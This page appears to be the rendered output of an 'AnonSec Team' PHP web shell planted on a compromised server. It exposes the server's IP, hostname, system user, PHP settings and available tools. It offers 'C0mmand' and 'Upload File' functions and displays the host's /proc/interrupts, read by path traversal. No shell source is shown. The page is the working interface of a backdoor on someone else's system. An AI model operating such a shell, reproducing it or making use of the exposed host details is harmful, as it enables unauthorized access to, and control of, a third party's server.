AnonSec Team
Server IP : 72.167.149.90  /  Your IP : 216.73.216.228
Web Server : Apache
System : Linux server.zoomride.app 4.18.0-553.158.1.el8_10.x86_64 #1 SMP Wed Aug 26 03:18:33 EDT 2026 x86_64
User : zoomride2022 ( 1001)
PHP Version : 8.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0555) :  /dev/../proc/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //dev/../proc/interrupts
           CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       
  0:        126          0          0          0          0          0          0          0   IO-APIC   2-edge      timer
  1:          0          0          0          0          0          0          0          9   IO-APIC   1-edge      i8042
  4:          0        147         95          0          0          0          0          0   IO-APIC   4-edge      ttyS0
  8:          0          0          0          0          0          0          0          0   IO-APIC   8-edge      rtc0
  9:          0          0          0          0          0          0          0          0   IO-APIC   9-fasteoi   acpi
 12:          0          0          0          0          0          0         15          0   IO-APIC  12-edge      i8042
 16:          0          0          0          0          0          0          0          0   IO-APIC  16-fasteoi   i801_smbus
 22:          0          0          0          0          0         62          0          0   IO-APIC  22-fasteoi   uhci_hcd:usb1
 24:          0          0          0          0          0          0          0          0   PCI-MSI 32768-edge      PCIe PME, aerdrv
 25:          0          0          0          0          0          0          0          0   PCI-MSI 34816-edge      PCIe PME, aerdrv
 26:          0          0          0          0          0          0          0          0   PCI-MSI 36864-edge      PCIe PME, aerdrv
 27:          0          0          0          0          0          0          0          0   PCI-MSI 38912-edge      PCIe PME, aerdrv
 28:          0          0          0          0          0          0          0          0   PCI-MSI 40960-edge      PCIe PME, aerdrv
 29:          0          0          0          0          0          0          0          0   PCI-MSI 43008-edge      PCIe PME, aerdrv
 30:          0          0          0          0          0          0          0          0   PCI-MSI 45056-edge      PCIe PME, aerdrv
 31:          0          0          0          0          0          0          0          0   PCI-MSI 47104-edge      PCIe PME, aerdrv
 32:          0          0          0          0          0          0          0          0   PCI-MSI 49152-edge      PCIe PME, aerdrv
 33:          0          0          0          0          0          0          0          0   PCI-MSI 51200-edge      PCIe PME, aerdrv
 34:          0          0          0          0          0          0          0          0   PCI-MSI 53248-edge      PCIe PME, aerdrv
 35:          0          0          0          0          0          0          0          0   PCI-MSI 55296-edge      PCIe PME, aerdrv
 36:          0          0          0          0          0          0          0          0   PCI-MSI 57344-edge      PCIe PME, aerdrv
 37:          0          0          0          0          0          0          0          0   PCI-MSI 59392-edge      PCIe PME, aerdrv
 38:          0          0          0          0          0          0          0          0   PCI-MSI 61440-edge      PCIe PME, aerdrv
 39:          0          0          0          0          0          0          0          0   PCI-MSI 63488-edge      PCIe PME, aerdrv
 40:          0          0          0          0          0          0          0          0   PCI-MSI 65536-edge      PCIe PME, aerdrv
 41:          0          0          0          0          0          0          0          0   PCI-MSI 3670016-edge      virtio5-config
 42:          0          0          0          0          5          0          0          0   PCI-MSI 3670017-edge      virtio5-input
 43:          0          0          0          0          0          0          0          0   PCI-MSI 2621440-edge      virtio3-config
 44:          0          0          0         25          0          0          0          0   PCI-MSI 2621441-edge      virtio3-virtqueues
 45:          0          0          0          0          0          0          0          0   PCI-MSI 2097152-edge      virtio2-config
 46:          0          0          0          0          0          0          0          0   PCI-MSI 2097153-edge      virtio2-control
 47:          0          0          0          0          0          0          0          0   PCI-MSI 2097154-edge      virtio2-event
 48:     142048          0          0          0          0          0          0          0   PCI-MSI 2097155-edge      virtio2-request
 49:          0     136891          0          0          0          0          0          0   PCI-MSI 2097156-edge      virtio2-request
 50:          0          0     150052          0          0          0          0          0   PCI-MSI 2097157-edge      virtio2-request
 51:          0          0          0          0          0          0          0          0   PCI-MSI 1572864-edge      virtio1-config
 52:     131622      10026      34384      20915       1644      16967      25859      24220   PCI-MSI 1572865-edge      virtio1-input.0
 53:          0          0          0     141594          0          0          0          0   PCI-MSI 2097158-edge      virtio2-request
 54:          0          0          0          0     140557          0          0          0   PCI-MSI 2097159-edge      virtio2-request
 55:     154017       2886      19094      18377      34738       4154      20575       2342   PCI-MSI 1572866-edge      virtio1-output.0
 56:          0          0          0          0          0     131145          0          0   PCI-MSI 2097160-edge      virtio2-request
 57:        764      79151      13347      28352      30451      22042      76577      19913   PCI-MSI 1572867-edge      virtio1-input.1
 58:          0          0          0          0          0          0     138492          0   PCI-MSI 2097161-edge      virtio2-request
 59:       3038     121516       9925      28068       4612      49407      17373      21989   PCI-MSI 1572868-edge      virtio1-output.1
 60:          0          0          0          0          0          0          0     135699   PCI-MSI 2097162-edge      virtio2-request
 61:          0      71225     115682       1040      29299      26239      20120      52424   PCI-MSI 1572869-edge      virtio1-input.2
 62:      26487       2395     180281      11042      19998      13812      11749      19577   PCI-MSI 1572870-edge      virtio1-output.2
 63:      58603       8724      39836      88730       5404      28588      16737      15054   PCI-MSI 1572871-edge      virtio1-input.3
 64:      10082      19560      18424     117380       8774      14836      24720      36918   PCI-MSI 1572872-edge      virtio1-output.3
 65:       2185      19619       2269      38718     118919      78535      10728      25234   PCI-MSI 1572873-edge      virtio1-input.4
 66:      11217       8378      16632      27950     135263      27164      18902      37638   PCI-MSI 1572874-edge      virtio1-output.4
 67:      14218      62455      22310      20629      31081      48811      18815      50453   PCI-MSI 1572875-edge      virtio1-input.5
 68:      29465      30222      30297      17245       8474      85736      24349      23989   PCI-MSI 1572876-edge      virtio1-output.5
 69:      29194      14524      41889      26682      18114      11861     109754      22699   PCI-MSI 1572877-edge      virtio1-input.6
 70:      14988       9530      18986      39824      27902      16666     114440      30109   PCI-MSI 1572878-edge      virtio1-output.6
 71:      13138      32275       6866      24911      77231      30737      27197      51263   PCI-MSI 1572879-edge      virtio1-input.7
 72:      12793      16533      25168      35963      35927      32179       8697      83747   PCI-MSI 1572880-edge      virtio1-output.7
 73:       1034       1595       1880       1706       1621       1493       1816       1435   PCI-MSI 512000-edge      ahci[0000:00:1f.2]
 74:          0          0          0          0          0          0          0          0   PCI-MSI 16384-edge      virtio0-config
 75:       4847       8737      14514      12188       8928       9538      12530       9379   PCI-MSI 16385-edge      virtio0-control
 76:          0          0          0          0          0          0          0          0   PCI-MSI 16386-edge      virtio0-cursor
 77:          0          0          0          0          0          0          0          0   PCI-MSI 3145728-edge      virtio4-config
 78:       1553       2874       2263       3128       2754       2166       3193       1605   PCI-MSI 3145729-edge      virtio4-virtqueues
NMI:          0          0          0          0          0          0          0          0   Non-maskable interrupts
LOC:   16378716   16241360   16244659   16166136   16237392   16198630   16226653   16243522   Local timer interrupts
SPU:          0          0          0          0          0          0          0          0   Spurious interrupts
PMI:          0          0          0          0          0          0          0          0   Performance monitoring interrupts
IWI:          0          0          0          0          0          0          0          0   IRQ work interrupts
RTR:          0          0          0          0          0          0          0          0   APIC ICR read retries
RES:      62695      64133      64989      69169      67811      68753      68895      69856   Rescheduling interrupts
CAL:    6030107    6251501    6236448    5993639    6251204    6113227    6106499    6231442   Function call interrupts
TLB:       8072       8260       8357       9455       8319       8256       8352       7641   TLB shootdowns
TRM:          0          0          0          0          0          0          0          0   Thermal event interrupts
THR:          0          0          0          0          0          0          0          0   Threshold APIC interrupts
DFR:          0          0          0          0          0          0          0          0   Deferred Error APIC interrupts
MCE:          0          0          0          0          0          0          0          0   Machine check exceptions
MCP:         49         49         49         49         49         49         49         49   Machine check polls
HYP:          1          1          1          1          1          1          1          1   Hypervisor callback interrupts
HRE:          0          0          0          0          0          0          0          0   Hyper-V reenlightenment interrupts
HVS:          0          0          0          0          0          0          0          0   Hyper-V stimer0 interrupts
ERR:          0
MIS:          0
PIN:          0          0          0          0          0          0          0          0   Posted-interrupt notification event
NPI:          0          0          0          0          0          0          0          0   Nested posted-interrupt event
PIW:          0          0          0          0          0          0          0          0   Posted-interrupt wakeup event

AnonSec - 2021